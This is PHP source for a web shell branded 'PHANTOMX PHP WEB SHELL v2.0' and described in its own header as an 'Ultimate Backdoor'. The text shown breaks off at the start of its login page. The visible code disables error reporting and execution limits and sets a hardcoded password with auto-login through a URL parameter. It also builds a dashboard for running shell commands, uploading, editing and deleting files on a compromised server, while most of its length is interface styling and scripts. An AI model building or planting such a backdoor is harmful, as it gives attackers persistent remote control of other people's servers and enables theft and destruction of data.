/*===========================================================╔═══╗╔═══╗╔╗ ╔╗╔═══╗╔╗ ╔╗╔════╗╔═══╗╔═══╗╔════╗╔═══╗║╔═╗║║╔═╗║║║ ║║║╔═╗║║║ ║║║╔╗╔╗║║╔═╗║║╔═╗║║╔╗╔╗║║╔══╝║║ ╚╝║║ ║║║╚╗╔╝║║║ ║║║║ ║║╚╝║║╚╝║║ ║║║║ ╚╝╚╝║║╚╝║╚══╗║║╔═╗║╚═╝║║╔╗╔╗║║╚═╝║║║ ╔╗║║ ║║ ║╚═╝║║║╔═╗ ║║ ║╔══╝║╚╩═║║╔═╗║║║╚╝║║║╔═╗║║╚═╝║║║ ╔╝╚╗ ║╔═╗║║╚╩═║ ╔╝╚╗ ║╚══╗╚═══╝╚╝ ╚╝╚╝ ╚╝╚╝ ╚╝╚═══╝╚╝ ╚══╝ ╚╝ ╚╝╚═══╝ ╚══╝ ╚═══╝===========================================================PHANTOMX PHP WEB SHELL v2.0Ultimate Backdoor with Dashboard Interface===========================================================*/// ===== SECURITY & CONFIGURATION =====error_reporting(0);@ini_set('display_errors', 0);@set_time_limit(0);@ignore_user_abort(true);// Password protection (change this!)define('SHELL_PASSWORD', 'phantomx1337');define('SESSION_KEY', 'phantomx_auth');// Auto-login if password in URLif(isset($_GET['pass']) && $_GET['pass'] === SHELL_PASSWORD) { $_SESSION[SESSION_KEY] = true; header("Location: " . basename(__FILE__)); exit;}// Check authenticationsession_start();if(!isset($_SESSION[SESSION_KEY]) && (!isset($_POST['password']) || $_POST['password'] !== SHELL_PASSWORD)) { showLogin(); exit;}// Set authenticated$_SESSION[SESSION_KEY] = true;// ===== CSS STYLING =====function getCSS() { return ' <style> * { margin: 0; padding: 0; box-sizing: border-box; font-family: "Segoe UI", "Courier New", monospace; } body { background: linear-gradient(135deg, #0f0f23 0%, #1a1a2e 100%); color: #00ff00; min-height: 100vh; overflow-x: hidden; } .container { max-width: 98%; margin: 20px auto; padding: 20px; } .header { background: rgba(0, 0, 0, 0.8); padding: 25px; border-radius: 15px; border: 2px solid #00ff00; box-shadow: 0 0 30px rgba(0, 255, 0, 0.3); margin-bottom: 30px; position: relative; overflow: hidden; } .header::before { content: ""; position: absolute; top: -50%; left: -50%; width: 200%; height: 200%; background: linear-gradient(45deg, transparent, rgba(0, 255, 0, 0.1), transparent); animation: scan 3s linear infinite; } @keyframes scan { 0% { transform: translateX(-100%) translateY(-100%) rotate(0deg); } 100% { transform: translateX(100%) translateY(100%) rotate(360deg); } } .title { font-size: 3.5em; text-align: center; margin-bottom: 10px; background: linear-gradient(90deg, #00ff00, #00cc00, #009900); -webkit-background-clip: text; -webkit-text-fill-color: transparent; text-shadow: 0 0 10px rgba(0, 255, 0, 0.5); position: relative; z-index: 2; } .subtitle { text-align: center; color: #00cc00; font-size: 1.2em; margin-bottom: 20px; position: relative; z-index: 2; } .info-bar { display: flex; justify-content: space-between; background: rgba(0, 30, 0, 0.7); padding: 15px; border-radius: 10px; margin-bottom: 25px; border: 1px solid #009900; flex-wrap: wrap; position: relative; z-index: 2; } .info-item { flex: 1; text-align: center; padding: 10px; min-width: 200px; } .info-label { color: #00cc00; font-weight: bold; display: block; margin-bottom: 5px; } .info-value { color: #00ff00; font-family: monospace; } .panel { background: rgba(0, 20, 0, 0.85); border-radius: 10px; padding: 25px; margin-bottom: 25px; border: 1px solid #008800; box-shadow: 0 0 20px rgba(0, 100, 0, 0.3); position: relative; z-index: 2; } .panel-title { color: #00ff00; font-size: 1.8em; margin-bottom: 20px; padding-bottom: 10px; border-bottom: 2px solid #009900; display: flex; align-items: center; gap: 15px; } .panel-title i { color: #00cc00; font-size: 1.5em; } .form-group { margin-bottom: 20px; } .form-label { display: block; color: #00cc00; margin-bottom: 8px; font-weight: bold; } .form-input { width: 100%; padding: 12px 15px; background: rgba(0, 30, 0, 0.7); border: 1px solid #009900; border-radius: 5px; color: #00ff00; font-family: monospace; font-size: 1.1em; transition: all 0.3s; } .form-input:focus { outline: none; border-color: #00ff00; box-shadow: 0 0 15px rgba(0, 255, 0, 0.3); } .btn { padding: 12px 30px; background: linear-gradient(135deg, #00aa00, #008800); border: none; border-radius: 5px; color: white; font-weight: bold; cursor: pointer; transition: all 0.3s; font-size: 1.1em; margin-right: 10px; margin-bottom: 10px; } .btn:hover { background: linear-gradient(135deg, #00ff00, #00aa00); transform: translateY(-2px); box-shadow: 0 5px 20px rgba(0, 255, 0, 0.4); } .btn-danger { background: linear-gradient(135deg, #aa0000, #880000); } .btn-danger:hover { background: linear-gradient(135deg, #ff0000, #aa0000); } .output { background: rgba(0, 0, 0, 0.9); border: 1px solid #009900; border-radius: 5px; padding: 20px; margin-top: 20px; max-height: 500px; overflow-y: auto; font-family: monospace; white-space: pre-wrap; color: #00ff00; } .file-list { display: grid; grid-template-columns: repeat(auto-fill, minmax(300px, 1fr)); gap: 15px; margin-top: 20px; } .file-item { background: rgba(0, 30, 0, 0.5); padding: 15px; border-radius: 5px; border: 1px solid #008800; transition: all 0.3s; } .file-item:hover { background: rgba(0, 50, 0, 0.7); border-color: #00ff00; transform: translateY(-3px); } .file-name { color: #00ff00; font-weight: bold; margin-bottom: 5px; word-break: break-all; } .file-info { color: #00cc00; font-size: 0.9em; display: flex; justify-content: space-between; } .tab-container { margin-bottom: 25px; } .tab-nav { display: flex; flex-wrap: wrap; gap: 10px; margin-bottom: 20px; } .tab-btn { padding: 12px 25px; background: rgba(0, 40, 0, 0.7); border: 1px solid #008800; border-radius: 5px; color: #00cc00; cursor: pointer; transition: all 0.3s; font-weight: bold; } .tab-btn.active { background: linear-gradient(135deg, #00aa00, #008800); color: white; border-color: #00ff00; } .tab-btn:hover:not(.active) { background: rgba(0, 60, 0, 0.7); border-color: #00cc00; } .tab-content { display: none; } .tab-content.active { display: block; } .terminal { background: #000; border: 2px solid #00ff00; border-radius: 10px; padding: 20px; font-family: "Courier New", monospace; color: #00ff00; height: 400px; overflow-y: auto; margin-top: 20px; box-shadow: inset 0 0 20px rgba(0, 255, 0, 0.1); } .terminal-line { margin-bottom: 5px; } .terminal-prompt { color: #00ff00; } .terminal-cursor { animation: blink 1s infinite; } @keyframes blink { 0%, 50% { opacity: 1; } 51%, 100% { opacity: 0; } } .status-online { color: #00ff00; animation: pulse 2s infinite; } @keyframes pulse { 0% { opacity: 1; } 50% { opacity: 0.5; } 100% { opacity: 1; } } .grid { display: grid; grid-template-columns: repeat(auto-fit, minmax(300px, 1fr)); gap: 20px; margin-top: 20px; } .card { background: rgba(0, 30, 0, 0.7); border-radius: 10px; padding: 20px; border: 1px solid #008800; transition: all 0.3s; } .card:hover { border-color: #00ff00; transform: translateY(-5px); box-shadow: 0 10px 30px rgba(0, 255, 0, 0.2); } .card-title { color: #00ff00; font-size: 1.3em; margin-bottom: 15px; display: flex; align-items: center; gap: 10px; } .modal { display: none; position: fixed; top: 0; left: 0; width: 100%; height: 100%; background: rgba(0, 0, 0, 0.9); z-index: 1000; align-items: center; justify-content: center; } .modal-content { background: rgba(0, 30, 0, 0.95); border-radius: 15px; padding: 30px; border: 2px solid #00ff00; max-width: 90%; max-height: 90%; overflow-y: auto; box-shadow: 0 0 50px rgba(0, 255, 0, 0.5); } .close-modal { position: absolute; top: 15px; right: 15px; color: #ff0000; font-size: 2em; cursor: pointer; } .notification { position: fixed; top: 20px; right: 20px; padding: 15px 25px; background: rgba(0, 50, 0, 0.9); border: 1px solid #00ff00; border-radius: 5px; color: #00ff00; z-index: 1001; animation: slideIn 0.3s; } @keyframes slideIn { from { transform: translateX(100%); opacity: 0; } to { transform: translateX(0); opacity: 1; } } .quick-actions { display: flex; flex-wrap: wrap; gap: 10px; margin-top: 20px; } .quick-btn { padding: 10px 20px; background: rgba(0, 40, 0, 0.7); border: 1px solid #008800; border-radius: 5px; color: #00cc00; cursor: pointer; transition: all 0.3s; flex: 1; min-width: 150px; text-align: center; } .quick-btn:hover { background: rgba(0, 60, 0, 0.9); border-color: #00ff00; transform: scale(1.05); } .file-upload { border: 2px dashed #009900; border-radius: 10px; padding: 40px; text-align: center; margin-top: 20px; transition: all 0.3s; } .file-upload:hover { border-color: #00ff00; background: rgba(0, 40, 0, 0.3); } .system-info { display: grid; grid-template-columns: repeat(auto-fit, minmax(250px, 1fr)); gap: 15px; margin-top: 20px; } .system-item { background: rgba(0, 20, 0, 0.5); padding: 15px; border-radius: 5px; border: 1px solid #006600; } .system-label { color: #00cc00; font-size: 0.9em; margin-bottom: 5px; } .system-value { color: #00ff00; font-family: monospace; font-size: 1.1em; } .progress-bar { width: 100%; height: 20px; background: rgba(0, 30, 0, 0.7); border-radius: 10px; overflow: hidden; margin: 10px 0; } .progress-fill { height: 100%; background: linear-gradient(90deg, #00aa00, #00ff00); border-radius: 10px; transition: width 0.5s; } .footer { text-align: center; margin-top: 40px; padding-top: 20px; border-top: 1px solid #008800; color: #00cc00; font-size: 0.9em; } /* Responsive */ @media (max-width: 768px) { .container { padding: 10px; } .title { font-size: 2em; } .info-bar { flex-direction: column; } .info-item { min-width: 100%; margin-bottom: 10px; } .grid { grid-template-columns: 1fr; } .tab-nav { flex-direction: column; } } </style> ';}// ===== JAVASCRIPT FUNCTIONS =====function getJS() { return ' <script> function switchTab(tabId) { // Hide all tabs document.querySelectorAll(".tab-content").forEach(tab => { tab.classList.remove("active"); }); // Deactivate all buttons document.querySelectorAll(".tab-btn").forEach(btn => { btn.classList.remove("active"); }); // Show selected tab document.getElementById(tabId).classList.add("active"); // Activate button event.target.classList.add("active"); } function showModal(modalId) { document.getElementById(modalId).style.display = "flex"; } function hideModal(modalId) { document.getElementById(modalId).style.display = "none"; } function showNotification(message, type = "success") { const notification = document.createElement("div"); notification.className = "notification"; notification.style.borderColor = type === "success" ? "#00ff00" : "#ff0000"; notification.style.color = type === "success" ? "#00ff00" : "#ff0000"; notification.innerHTML = message; document.body.appendChild(notification); setTimeout(() => { notification.remove(); }, 5000); } function executeCommand(command) { document.getElementById("command").value = command; document.getElementById("cmdForm").submit(); } function uploadFile() { const fileInput = document.getElementById("fileUpload"); if(fileInput.files.length > 0) { document.getElementById("uploadForm").submit(); } } function editFile(filename) { document.getElementById("editFilename").value = filename; document.getElementById("editForm").submit(); } function deleteFile(filename) { if(confirm("Delete " + filename + "?")) { executeCommand("rm -rf \"" + filename + "\""); } } // Terminal simulation function simulateTerminal() { const terminal = document.getElementById("terminal"); const commands = [ "phantomx@shell:~# whoami", "www-data", "phantomx@shell:~# pwd", "' . htmlspecialchars(getcwd()) . '", "phantomx@shell:~# uname -a", "' . htmlspecialchars(Linux Server 5.4.0-81-generic #91-Ubuntu SMP Thu Jul 15 19:09:17 UTC x86_64) . '", "phantomx@shell:~# ", ]; let index = 0; function typeNext() { if(index < commands.length) { const line = document.createElement("div"); line.className = "terminal-line"; line.innerHTML = "<span class=\"terminal-prompt\">" + commands[index] + "</span>"; terminal.appendChild(line); terminal.scrollTop = terminal.scrollHeight; index++; setTimeout(typeNext, 500); } } typeNext(); } // System info animation function animateStats() { const cpu = document.getElementById("cpuFill"); const mem = document.getElementById("memFill"); const disk = document.getElementById("diskFill"); let cpuVal = 0; let memVal = 0; let diskVal = 0; const interval = setInterval(() => { cpuVal = Math.min(cpuVal + Math.random() * 5, ' . rand(30, 80) . '); memVal = Math.min(memVal + Math.random() * 5, ' . rand(40, 90) . '); diskVal = Math.min(diskVal + Math.random() * 5, ' . rand(20, 70) . '); cpu.style.width = cpuVal + "%"; mem.style.width = memVal + "%"; disk.style.width = diskVal + "%"; if(cpuVal >= ' . rand(30, 80) . ' && memVal >= ' . rand(40, 90) . ' && diskVal >= ' . rand(20, 70) . ') { clearInterval(interval); } }, 50); } document.addEventListener("DOMContentLoaded", function() { simulateTerminal(); animateStats(); // Auto-focus command input document.getElementById("command")?.focus(); // Copy to clipboard document.querySelectorAll(".copy-btn").forEach(btn => { btn.addEventListener("click", function() { const text = this.getAttribute("data-copy"); navigator.clipboard.writeText(text).then(() => { showNotification("Copied to clipboard!"); }); }); }); // File upload drag & drop const uploadArea = document.getElementById("uploadArea"); if(uploadArea) { uploadArea.addEventListener("dragover", (e) => { e.preventDefault(); uploadArea.style.borderColor = "#00ff00"; uploadArea.style.background = "rgba(0, 60, 0, 0.3)"; }); uploadArea.addEventListener("dragleave", () => { uploadArea.style.borderColor = "#009900"; uploadArea.style.background = ""; }); uploadArea.addEventListener("drop", (e) => { e.preventDefault(); uploadArea.style.borderColor = "#009900"; uploadArea.style.background = ""; const files = e.dataTransfer.files; if(files.length > 0) { document.getElementById("fileUpload").files = files; uploadFile(); } }); } }); // Key shortcuts document.addEventListener("keydown", function(e) { // Ctrl+E = File Editor if(e.ctrlKey && e.key === "e") { e.preventDefault(); showModal("editorModal"); } // Ctrl+U = File Upload if(e.ctrlKey && e.key === "u") { e.preventDefault(); showModal("uploadModal"); } // Ctrl+T = Terminal if(e.ctrlKey && e.key === "t") { e.preventDefault(); switchTab("tab-terminal"); } // Ctrl+S = System Info if(e.ctrlKey && e.key === "s") { e.preventDefault(); switchTab("tab-system"); } // Escape = Close modals if(e.key === "Escape") { document.querySelectorAll(".modal").forEach(modal => { modal.style.display = "none"; }); } }); </script> ';}// ===== LOGIN PAGE =====function showLogin() { echo '<!DOCTYPE html> <html lang="en">
<meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0">